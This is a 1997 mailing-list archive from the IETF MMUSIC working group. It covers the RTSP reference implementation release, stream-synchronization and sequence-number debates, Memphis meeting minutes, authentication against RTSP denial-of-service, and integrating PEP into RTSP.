	id <AA17543>; Fri, 25 Apr 1997 14:48:52 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17536>; Fri, 25 Apr 1997 14:48:51 -0700
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA20217>; Fri, 25 Apr 1997 14:48:50 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA22912
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Fri, 25 Apr 1997 14:48:50 -0700
Message-Id: <3.0.32.19970425144706.011a3964@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Fri, 25 Apr 1997 14:47:07 -0700
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP Reference Implementation Alpha 0.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Progressive Networks is releasing Alpha 0.2 of the RTSP, which serves as a
reference implementation, in the C language, of
draft-ietf-mmusic-rtsp-02.txt.  Much has changed in RTSP since the original
draft.  However, the reference implementation still has roughly the same
interface.

Freely downloadable source code is provided for both a client and a server
for the following platforms: Windows, SUN Solaris, Linux, and FreeBSD.
More platforms will be added later, but the code should be readily portable
to other platforms.

You may download the reference from the following URL:
http://www.realaudio.com/prognet/rt/reference.html

Alpha 2 of the RTSP player and server have the following known limitations
and anomalies:

*  Server is configured by default as single use; once the client goes
away, so does the server.  However, the server can be configured as an
inetd client, which will cause it to behave more like a normal server.

*  Media support is limited to .wav format only.

For updates on the status of this software, please visit our RTSP Resource
Center at http://www.real.com/prognet/rt.  

This isn't officially supported software, but if you have any questions or
problems, we would appreciate it if you would send them to
"rtsp-feedback@prognet.com".   We strongly encourage you to send in patches
and enhancements to the software as well, which will help to make this a
useful tool for understanding the RTSP protocol.

Thanks for your interest.

Rob Lanphier
---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Mon Apr 28 18:16:29 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA27262>; Mon, 28 Apr 1997 05:16:52 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA27256>; Mon, 28 Apr 1997 05:16:46 -0700
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-27)
	id <AA27746>; Mon, 28 Apr 1997 05:14:45 -0700
Received: (qmail 14531 invoked by uid 1067); 28 Apr 1997 12:16:29 -0000
Date: Mon, 28 Apr 1997 15:16:29 +0300 (EET DST)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Stephen Casner <casner@precept.com>
Cc: confctrl@isi.edu
Subject: Re: MUTE in RTSP
In-Reply-To: <Pine.WNT.3.95.970424115300.-179669I-100000@oak.precept.com>
Message-Id: <Pine.LNX.3.95.970428145431.14346A-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Thu, 24 Apr 1997, Stephen Casner wrote:

>> >It's not clear to me what the server serving a single QuickTime/ASF
>> >movie would do when told to PAUSE the audio. It appears it would have to
>> >do the same disassembly or just offer QuickTime movies as a single
>> >entity.
>
>Nothing.  There is no way to express that PAUSE request because RTSP
>knows only about the single combined stream.

Assuming that we allow composite media streams which is (I gather) what
this discussion has been all about. If one allows such interlaced,
composite streams as full QuickTime/ASF, no problems arise in this regard.
However, it's not clear whether one should endorse multiple independent
stream formats like this. Another way to do the same thing would be to
disallow composite streams and deliver all data as interdependent
monomedium streams (audio, video, text etc.). This approach enhances
orthogonality (one would probably use only one or two different stream
types for a single type of media), but requires disassembly and
independent control of the constituent streams at both ends of the
delivery channel. 

I'm strongly for allowing composite streams myself. The overhead of
the disassembly stage required in the other approach can be too heavy.

>> Furthermore, if one uses segregated data streams with multicast
>> sessions, one is bound to have some problems if all the synchronization
>> burden is pushed to the client end.
>
>Not true.  The burden is at the client end no matter how the data gets
>there, because the client end is where the presentation occurs.

But when you have to account for differing delays in the delivery of the
different streams, you need considerably more buffer space, possibly
messier algorithms, and you have to worry about the integrity of the
separate streams instead of just taking care of the single incoming
pipe.

Now, when you multicast, you cannot use transport throttleback for
congestion control as there are multiple recipients, also, if there are
synchronization problems (widely differing latencies along the different
delivery paths or something like that), you cannot adapt to them
end-to-end. In this case a single stream with tighly interlocked
(interlaced) substreams would seem more stable. Comments?

>> The clients should largely be blind,
>> as far as the application viewer is concerned, as to whether the streams
>> come from multicast or unicast sources.
>
>True, but the synchronization effort is the same for multicast or unicast.

Yep, but it would be very desirable to use tranport layer flow control to
regulate the data flow when doing unicast streams. How do you do this
when you multicast?

>> But such buffering is easier to do because you do not have to take into
>> account the delay jitter of the network, ...
>
>Not true.  To achieve continuous playback, you need to provide
>sufficient buffering with either transport method.

But the amount of sufficient is much more with network latencies counted
in.

>The minimum
>buffering delay is achieved by putting all the buffering together in
>one place, accommodating all delay sources, and dynamically adapting
>that to the minimum value.

Which should be easier with interlaced streams. Especially if you cannot
use flow control.

>> There are also bound
>> to be more synchronization problems over a heterogeneous cloud of routers
>> and networks when operating with segregated data streams than with
>> interlaced ones.
>
>Not really, unless some streams are given priority over others.

No? With QoSR present, you probably have to reserve separate flows for the
different RT streams. So the routes will probably be different. This, in
case, considerably increases the amount of buffering needed. Add to that
the cost fo buffering video and you're going to have a hard, hard time
implementing a working system.

>> Let's assume you're deaf. Would there not be sense in MUTEing the
>> soundtrack of a movie if a text was available?
>
>This is indeed one of the motivations for sending the audio and video
>streams separately.

Indeed. And I don't say that you should limit the protocol to interlaced
datastreams. On the contrary, I agree that separate streams should be
endorsed. But I also think that interlaced streams have some attributes
that make them (e.g.) useful for multicasting and low-resource
environments. So they shouldn't be banned.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Mon Apr 28 19:27:48 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA21228>; Mon, 28 Apr 1997 11:58:02 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA21215>; Mon, 28 Apr 1997 11:57:56 -0700
Received: from mailhub.axion.bt.co.uk by venera.isi.edu (5.65c/5.61+local-27)
	id <AA15052>; Mon, 28 Apr 1997 11:57:53 -0700
Received: from rambo.futures.bt.co.uk by mailhub.axion.bt.co.uk with SMTP (PP); Mon, 28 Apr 1997 19:49:43 +0100
Received: from mussel.drake.bt.co.uk (actually mussel.futures.bt.co.uk) by rambo.futures.bt.co.uk with SMTP (PP);
          Mon, 28 Apr 1997 18:30:44 +0100
Received: by mussel.drake.bt.co.uk with Microsoft Exchange (IMC 4.0.837.3) id <01BC5401.46D0A2B0@mussel.drake.bt.co.uk>;
          Mon, 28 Apr 1997 18:23:31 +0100
Message-Id: <c=GB%a=_%p=BT%l=NORMAN-970428172748Z-885@mussel.drake.bt.co.uk>
From: Pete Cordell <pete.cordell@bt-sys.bt.co.uk>
To: 'MMusic' <confctrl@isi.edu>
Cc: 'ietf-coord' <ietf-coord@gideon.bt.co.uk>
Subject: RTSP: Question on sequence numbers
Date: Mon, 28 Apr 1997 18:27:48 +0100
X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.837.3
Encoding: 40 TEXT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Although not brought out as an issue in the RTSP draft, there is quite a
bit of discussion (section 8.2) on whether the sequence number of the
command should or should not be incremented when a RTSP message is sent
as a result as a re-transmission (when using rtspu).

In the text is says that it should be incremented so that accurate RTT
calculations can be made, but as the text says this does not cope with
receiving commands in the wrong order.  There seems to be a conflict
here with the previous paragraph that says things can be pipelined.  

Also, if the response to a play is lost on the return path, the server
won't know whether a play message is sent because of transmission loss,
or because that is what the client wanted it to do.  i.e. the server
might get:

play range:10-15
play range:10-15

This might be because the client wants the same bit twice, or the
response to the first message got lost.

As getting the sequence of user commands right seems more important than
getting the rtt calculation right this sounds like an issue to me.  Am I
missing something here, or should this be on the issues list?

Pete


xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Pete Cordell
BT Labs
E-Mail: pete.cordell@bt-sys.bt.co.uk
Tel: +44 1473 646436
Fax: +44 1473 643791
-------------------------------------------------------------
Notice:  This contribution is the personal view of the author and 
does not necessarily reflect the technical nor commercial direction 
of British telecommunications plc.
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx


From majordom@ISI.EDU  Tue Apr 29 04:58:32 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA12944>; Tue, 29 Apr 1997 12:29:03 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA12937>; Tue, 29 Apr 1997 12:29:02 -0700
Received: from vlsi.cs.caltech.edu by venera.isi.edu (5.65c/5.61+local-27)
	id <AA16549>; Tue, 29 Apr 1997 12:28:05 -0700
Received: from fides.cs.caltech.edu by vlsi.cs.caltech.edu (4.1/1.34.1)
	id AA29395; Tue, 29 Apr 97 11:58:32 PDT
Date: Tue, 29 Apr 97 11:58:32 PDT
From: schooler@cs.caltech.edu (Eve Schooler)
Message-Id: <9704291858.AA29395@vlsi.cs.caltech.edu>
To: minutes@ietf.org, confctrl@isi.edu
Subject: MMUSIC minutes/slides from Memphis IETF
Cc: schooler@cs.caltech.edu, mjh@isi.edu, rlang@std.sri.com,
        jo@cs.tu-berlin.de, allyn@eng.sun.com, mankin@isi.edu
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


      Multiparty Multimedia Session Control (MMUSIC) Working Group
	                Minutes from the 38th IETF
	                  Memphis, Tennessee
                             April 8-9, 1997        	             

				Chairs

		Mark Handley, mjh@isi.edu
	 	Ruth Lang, rlang@sri.com
		Eve Schooler, schooler@cs.caltech.edu

The Multiparty Multimedia Session Control Working Group (MMUSIC) met
for two sessions on April 8th and 9th at the 38th IETF.  These notes,
prepared by Ruth Lang, summarize the presentations given and recount
issues raised and their resolution, if any, during these
presentations.  An on-line copy of the minutes and the accompanying
The minutes and slides are available from the MMUSIC archive area
ftp://ftp.isi.edu/confctrl/minutes in the files ietf.4.97 and
slides.4.97.(tar, tar.Z}.  Individual slide presentations can be 
obtained from the directory slides.4.97.

Mark Handley reiterated the WG Last Call placed for the Session
Description Protocol (SDP) and offered his time in sidebar meetings to
discuss any open issues.  See the slides sdp.ps.

Rob Lanphier and Anup Rao discussed the current status and open issues
of the Real Time Streaming Protocol (RTSP). They reviewed changes made
since our last meeting in December including the merger of the
original RTSP (Lanphier/Rao) and RTSP' (Schulzrinne), the maintenance
of the HTTP orientation of RTSP', and the simplification of the
protocol's state machine.  See the slides rtsp.ps.

The results of open issue discussions were as follows:
     
   - Use of two HTTP mechanisms (cookies for managing core RTSP server
     state and PEP, an option negotiation method as a replacement for
     the current "Require" field) were discussed.  The former was
     discouraged as it provided too broad of a solution (i.e.,
     overkill) for the RTSP server.  For the latter, the issue of PEP
     maturity with respect to the timeframe for forwarding RTSP to
     Proposed Draft was questioned.  Further deliberation on the this
     topic will occur on the mailing list in light of gaining a better
     knowledge of PEP.

   - A speed field whose application would imply fluctuating bandwidth
     usage during a session was encouraged as long as appropriate
     warnings about its potential misuse were included.

   - The use of absolute URIs (cf relative URIs) in the Request-URI
     message to reference content was strongly encouraged.
     
   - Further discussion will occur on the mailing list regarding the
     control of multiple streams. It was encouraged, however, that a
     single stream transmitted to n destinations be broken up into n
     separate sessions.

   - Sending data to a destination that is not the control source was
     oked for client-defined multicast address oked given inclusion of
     appropriate cautionary statement, and was discouraged (for now)
     for client-defined unicast address.

A more detailed account of these issues may be found at
http://www.real.com/prognet/rt/memphis.html.

Mark Handley presented the Session Announcement Protocol open issues
including:

   - use of a UUID vs IPv4 address for message id + source addr (the
     latter is currently specified).  The recent availability of an
     I-D describing UUIDs will seed well-thought discussion on this
     topic on the mailing list.

   - expansion of the current set of payload type fields. Although
     this adds flexibility (i.e., being able to convey other than SDP
     payloads), in practice it does not permit the presumption that
     the multicast address allocation scheme implemented by sdr --
     currently, the most widely-used tool for advertising MBone-based
     sessions -- is being used.  The more general issue of separating
     and documenting this address allocation mechanism arose.
     Although this work is needed, the downside of addressing it in
     the context of the current SAP is that redesign of the current
     mechanism and SAP protocol would be required, thus slowing-down
     progress of an already widely-used protocol to Experimental
     Standard status.

   - elimination of key identifiers for encryption as they serve as
     hints to the bad guys.  This move was supported by the group.

Mark also presented a proposal to the group to progress the current
SAP, with its security issues intact, to be an Experimental Standard.
With the movement of the SAP Security I-D to Proposed Standard, SAP or
a revision thereof would also then be forwarded to Proposed Standard.
This was met with agreement with the exception of a plea for
documentation of the current address allocation mechanism.  Mark
encouraged that this be brought to the attention of the Transport
Services Area Directors.  See the slides sap.ps.

Colin Perkins presented an overview of and open issues for the I-D
"Specification of Security in SAP Using Public Key Algorithms" aka
"SAP Security."  See the accompanying slides sap_security.ps.
SAP itself provides authentication hooks; this
document attempts to define mechanisms that can be put on those hooks.
Open issues included whether the key id field in the SAP header was
required: it was felt that this could move into a specific
authentication block as both PGP and PKCS#7 have key id fields.
Discussion of the need to define a standard privacy header, and
whether the simple public key format defined in the document
(simplified form of PKCS#7) or full PKCS#7 (or both) should be used
was deferred to discussion on the mailing list.

Joerg Ott presented "Panel-style Conferencing with H.323 based on
H.332" which described the use of H.332 for loosely coupled
conferences -- a protocol that can be used to create
IETF/MBone-interoperable sessions.  Use of SDP, SAP, and RTP are keys
to this interoperability.  Open issues presented included: SDP/SAP
does not permit dynamic changes to conference parameters as H.332
does, the potential for "floor request" implosions (a Join request on
the H.332 side which would allow the participant to generate content),
and the integration of data protocols -- T.120 style vs SRM style
application protocols -- different applications and application
protocol styles.  Joerg will circulate the H.332 specification to the
mailing list to encourage further discussion.  See the slides
h332over.{ppt, ps}.

Mark Handley presented the changes and open issues related to the
Session Invitation Protocol (SIP).  Changes included: "capabilities"
method was changed to "options" to align with RTSP, sequence numbers
were removed from the "path" field, and the "path" field was changed
to "via" to align with RTSP and HTTP (but the semantics are different
so this change is questionable).  Mark noted that the invitation of an
RTSP server into a conference needs explanation in the document. Time
was spent discussing the relationship between SIP and H.323 sessions.
Advantages of SIP were pointed out and discussions about H.323's
shortcomings ensued.  The general notion of SIP providing a more
lightweight mechanism and a different model were what justified its
independent existence but further study and discussion on this is
needed.  It was proposed by Mark that further implementation
experience be gained to aid the "shakedown" process of this proposal
(e.g., continued inclusion or exclusion of some HTTP headers which
have added complexity to the protocol).  See the slides sip.ps.

Joerg Ott presented some early results from a MERCI project on the
"Development of a Gateway for SIP/SCCP and H.323 Interaction."  Use of
SIP alone created a set-up mismatch which necessitated some string
pulling by the project team and creation of a situation where the
H.323 conference could be assumed established while the SIP-based side
was not yet established.  Introduction of SCCP to establish a
"control" conference aided this transition and created a workable
model.  Mark Handley questioned what changes to SIP would make this
call model more compatible?  Discussion will occur on the mailing list
on this.  See the slides merci-gw.{ppt, ps}.



From majordom@ISI.EDU  Wed Apr 30 20:37:08 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA26922>; Wed, 30 Apr 1997 11:41:12 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA26907>; Wed, 30 Apr 1997 11:41:06 -0700
Received: from mailhub.axion.bt.co.uk by venera.isi.edu (5.65c/5.61+local-27)
	id <AA16667>; Wed, 30 Apr 1997 11:41:00 -0700
Received: from rambo.futures.bt.co.uk by mailhub.axion.bt.co.uk with SMTP (PP); Wed, 30 Apr 1997 19:38:04 +0100
Received: from mussel.drake.bt.co.uk (actually mussel.futures.bt.co.uk) by rambo.futures.bt.co.uk with SMTP (PP);
          Wed, 30 Apr 1997 19:39:44 +0100
Received: by mussel.drake.bt.co.uk with Microsoft Exchange (IMC 4.0.837.3) id <01BC559D.3CD63930@mussel.drake.bt.co.uk>;
          Wed, 30 Apr 1997 19:32:27 +0100
Message-Id: <c=GB%a=_%p=BT%l=NORMAN-970430183708Z-1120@mussel.drake.bt.co.uk>
From: Pete Cordell <pete.cordell@bt-sys.bt.co.uk>
To: 'MMusic' <confctrl@isi.edu>
Subject: RE: RTSP denial-of-service attacks: never mind
Date: Wed, 30 Apr 1997 19:37:08 +0100
X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.837.3
Encoding: 63 TEXT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

If this is forming the basis of a vote, then I agree with Henning,
assuming that he is saying that option 2 is the right way to go!

After all, black marks on a piece of paper won't stop somebody doing
something if it's what they want to do and it's easy!!!

Pete

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Pete Cordell
BT Labs
E-Mail: pete.cordell@bt-sys.bt.co.uk
Tel: +44 1473 646436
Fax: +44 1473 643791
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx


>----------
>From: 	Henning Schulzrinne[SMTP:schulzrinne@cs.columbia.edu]
>Sent: 	24 April 1997 01:29
>To: 	Eric Fleischman
>Cc: 	confctrl@ISI.EDU
>Subject: 	Re: RTSP denial-of-service attacks: never mind
>
>Eric Fleischman wrote:
>> 
>> There seems to be general concurrence that this is a serious concern and
>> that the proper solution is to require authentication. What isn't clear
>> to me is how the RTSP community wishes to respond to this. Two obvious
>> possibilities are:
>> 
>> 1) to purposefully not add this capability to RTSP until/unless an
>> authentication mechanism is defined for it.
>
>Certainly, in some environments (intranets), this seems overly
>conservative. Plus, it's needed (or at least very useful) for multicast
>destinations and all it takes is one marketing guy saying that a
>customer wants it for unicast and some server will implement it...
>
>> 
>> 2) to add this capability to RTSP but to do so with warning messages
>> that it probably shouldn't be implemented until such a time as an
>> authentication mechanism is defined.
>
>RTSP inherits two authentication mechanisms from HTTP: Basic and
>Digest.
>It may also use SSL for client and server authentication; just added
>the
>URL type rtsps:// for RTSP over SSL to the draft (before I forget...).
>Servers SHOULD support Basic and Digest authentication (i.e., they are
>only conditionally compliant if they do not).
>
>> 
>> Does this summary represent the consensus of our community?
>> Which alternative does the community feel is preferential?
>>


Notice:  This contribution is the personal view of the author and 
does not necessarily reflect the technical nor commercial direction 
of British telecommunications plc.
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx


From majordom@ISI.EDU  Tue May  6 04:47:50 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA15193>; Tue, 6 May 1997 05:48:01 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA15186>; Tue, 6 May 1997 05:47:59 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-27)
	id <AA04063>; Tue, 6 May 1997 05:47:57 -0700
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id IAA05057 for <confctrl@isi.edu>; Tue, 6 May 1997 08:47:55 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id IAA23507 for <confctrl@isi.edu>; Tue, 6 May 1997 08:47:52 -0400 (EDT)
Message-Id: <336F2876.4EDA@cs.columbia.edu>
Date: Tue, 06 May 1997 08:47:50 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: confctrl@isi.edu
Subject: Old ULS draft?
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Does anybody happen to have a copy of the expired ULS draft they'd be
willing to send me? Thanks.

Henning

From majordom@ISI.EDU  Thu May 15 05:41:58 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA14731>; Thu, 15 May 1997 06:48:21 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA14718>; Thu, 15 May 1997 06:48:19 -0700
Received: from ietf.org by venera.isi.edu (5.65c/5.61+local-27)
	id <AA14599>; Thu, 15 May 1997 06:47:48 -0700
Received: from ietf.ietf.org by ietf.org id aa02370; 15 May 97 9:41 EDT
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce@ietf.org
Cc: confctrl@isi.edu
From: Internet-Drafts@ietf.org
Reply-To: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-url-00.txt, .ps
Date: Thu, 15 May 1997 09:41:58 -0400
Message-Id:  <9705150941.aa02370@ietf.org>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

--NextPart

 A New Internet-Draft is available from the on-line Internet-Drafts 
 directories. This draft is a work item of the Multiparty Multimedia 
 Session Control Working Group of the IETF.                                

       Title     : SIP URL Scheme                                          
       Author(s) : H. Schulzrinne
       Filename  : draft-ietf-mmusic-sip-url-00.txt, .ps
       Pages     : 3
       Date      : 05/14/1997

A family of new URL schemes, "sip*:", is defined. It is used to establish 
multimedia conferences using the Session Initiation Protocol (SIP).        

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
     "get draft-ietf-mmusic-sip-url-00.txt".
 Or 
     "get draft-ietf-mmusic-sip-url-00.ps".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sip-url-00.txt
 
Internet-Drafts directories are located at:	
	                                                
     o  Africa:  ftp.is.co.za                    
	                                                
     o  Europe:  ftp.nordu.net            	
                 ftp.nis.garr.it                 
	                                                
     o  Pacific Rim: munnari.oz.au               
	                                                
     o  US East Coast: ds.internic.net           
	                                                
     o  US West Coast: ftp.isi.edu               
	                                                
Internet-Drafts are also available by mail.	
	                                                
Send a message to:  mailserv@ds.internic.net. In the body type: 
     "FILE /internet-drafts/draft-ietf-mmusic-sip-url-00.txt".
 Or 
     "FILE /internet-drafts/draft-ietf-mmusic-sip-url-00.ps".
							
NOTE: The mail server at ds.internic.net can return the document in
      MIME-encoded form by using the "mpack" utility.  To use this
      feature, insert the command "ENCODING mime" before the "FILE"
      command.  To decode the response(s), you will need "munpack" or
      a MIME-compliant mail reader.  Different MIME-compliant mail readers
      exhibit different behavior, especially when dealing with
      "multipart" MIME messages (i.e., documents which have been split
      up into multiple messages), so check your local documentation on
      how to manipulate these messages.
							
							

Below is the data which will enable a MIME compliant mail reader 
implementation to automatically retrieve the ASCII version
of the Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
        access-type="mail-server";
        server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID: <19970514164831.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-url-00.txt

--OtherAccess
Content-Type:   Message/External-body;
        name="draft-ietf-mmusic-sip-url-00.txt";
        site="ds.internic.net";
        access-type="anon-ftp";
        directory="internet-drafts"

Content-Type: text/plain
Content-ID: <19970514164831.I-D@ietf.org>

--OtherAccess--

--NextPart--


From majordom@ISI.EDU  Fri May 16 06:40:25 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA00673>; Fri, 16 May 1997 13:41:04 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA00667>; Fri, 16 May 1997 13:41:02 -0700
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-27)
	id <AA00140>; Fri, 16 May 1997 13:41:01 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA22268
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Fri, 16 May 1997 13:42:34 -0700
Message-Id: <3.0.32.19970516134024.01144f3c@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Fri, 16 May 1997 13:40:25 -0700
To: confctrl@isi.edu, http-wg@cuckoo.hpl.hp.com
From: Rob Lanphier <robla@prognet.com>
Subject: PEP Integration in RTSP
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

The authors of RTSP [1] and authors of PEP [2] have been discussing how to
integrate PEP into RTSP as the standard extension mechanism for RTSP.  The
authors of RTSP have very strong consensus now that we will use PEP, and
the only question remains:  how will this be integrated?

I'm crossposting this to the confctrl mailing list for the MMUSIC group
[3], and the HTTP-WG group alias [4] in order to get some input from both
groups.  Since RTSP has a very HTTP-like look and feel (though very
different in state and data delivery issues), it makes sense to share
mechanisms which should be common between the two.

In the discussions between authors of RTSP and PEP, we came to the
conclusion that PEP complience in RTSP should be mandatory, which would
make the relationship between PEP and RTSP different than the relationship
between PEP and HTTP.  

The reason why we made this decision is that it allows cleaner PEP
integration into RTSP.  This allows RTSP entities to forgo prepending
"PEP-" to all methods that require PEP.  The new language within RTSP would
essentially say that servers MUST parse the "PEP:" and "C-PEP:" fields and
MUST return "420 Bad Extension" when there is a PEP extension of strength
"must".

Prior to talking things over with the PEP authors, I had sent a note to the
confctrl alias about PEP integration, which I've included below for the
http-wg alias members' benefit.  There hasn't been a lot of comments about
this, and I suspect it's because people haven't had the opportunity to look
over the PEP specification.  Now that there is a more concrete proposal on
the table and that the direction from us as RTSP authors is clearer, I'd
like to solicit people's comment on this now.

Thanks
Rob Lanphier
Progressive Networks

Resources:
[1] Real Time Streaming Protocol (http://www.real.com/prognet/rt)
[2] Protocol Extension Protocol
(http://www.w3.org/pub/WWW/Protocols/PEP/Overview.html)
[3] IETF's MMUSIC working group
(http://www.ietf.org/html.charters/mmusic-charter.html)
[4] IETF's HTTP working group
(http://www.ietf.org/html.charters/http-charter.html)

-------------------
Date: Thu, 17 Apr 1997 13:40:16 -0700
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP: 2. Use of PEP for Require and Transport-Require

The Require field (see section 11.17 of the current
draft) provides a simple mechanism for capability
query.

A standard for providing this functionality (and
more) is PEP, an option negotiation method from the
HTTP working group.

The authors are mostly in agreement that PEP is/will
be a really good thing, and the only question is
whether it can immediately placed into the RTSP
specification, or whether there should be an
intermediate mechanism pending the completion of PEP.

The general feeling in Memphis was that people needed
more time to look at PEP, and make sure that some
such mechanism is needed. There would be more
deliberation on the mailing list on this topic before
any sort of decision one way or another is made.

Some folks thought of this as something that can be
added later, to which Henrik Frystyk Nielsen from the
W3C noted that there is a need for some option
negotiation core to the protocol, which was a lesson
learned from the original HTTP specification.




From majordom@ISI.EDU  Fri May 16 15:43:53 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA15815>; Fri, 16 May 1997 16:59:18 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA15799>; Fri, 16 May 1997 16:59:16 -0700
Received: from ns.reston.vmd.sterling.com by venera.isi.edu (5.65c/5.61+local-27)
	id <AA12732>; Fri, 16 May 1997 16:59:14 -0700
Received: ns.reston.vmd.sterling.com 
	id AA21215; Fri, 16 May 1997 20:02:07 -0400 
Message-Id: <199705170002.AA21215@reston.vmd.sterling.com>
Date: Fri, 16 May 97 19:43:53 EDT
From: "Ross Patterson" <Ross_Patterson@ns.reston.vmd.sterling.com>
To: http-wg@cuckoo.hpl.hp.com, confctrl@isi.edu
Subject: Re: PEP Integration in RTSP
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

http-wg@cuckoo.hpl.hp.com writes:

>The authors of RTSP [1] and authors of PEP [2] have been discussing how to
>integrate PEP into RTSP as the standard extension mechanism for RTSP.  The
>authors of RTSP have very strong consensus now that we will use PEP, and
>the only question remains:  how will this be integrated?


Some of us, myself included, don't believe PEP is such a great idea.
Its bias towards nonstandard extensions with downloadable
implementations just doesn't jive with the '90s "safe computing" world.
I'll have a very hard time convincing any of my customers to download
anything into the webservers my company sold them, no matter who's
responsible for the code.  My personal expectation (not necessarily
Sterling Software's, as we haven't discussed PEP much) is that PEP in
the traditionally high-security, high-reliability mainframe world is
dead on arrival.  I've held off commenting to date as I expect this is
both a minority viewpoint and an environment where no matter what
changes are made (short of using URNs to identify already-embedded
"extensions"), any form of PEP will be simply unacceptable.

>In the discussions between authors of RTSP and PEP, we came to the
>conclusion that PEP complience in RTSP should be mandatory, which would
>make the relationship between PEP and RTSP different than the relationship
>between PEP and HTTP.

If you're going to use PEP, making it a MUST from the start is a very
good idea.  Some of the weirdness in PEP today derives from HTTP 1.x's
"don't ask, don't tell" attitude towards unrecognized header fields.
That was a wise choice at the time, and remains so, but it makes PEP a
little odd as a result.

Ross Patterson
Sterling Software, Inc.
VM Software Division

From majordom@ISI.EDU  Sat May 17 05:03:14 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA08520>; Sat, 17 May 1997 06:06:29 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA08514>; Sat, 17 May 1997 06:06:26 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-27)
	id <AA01583>; Sat, 17 May 1997 06:04:46 -0700
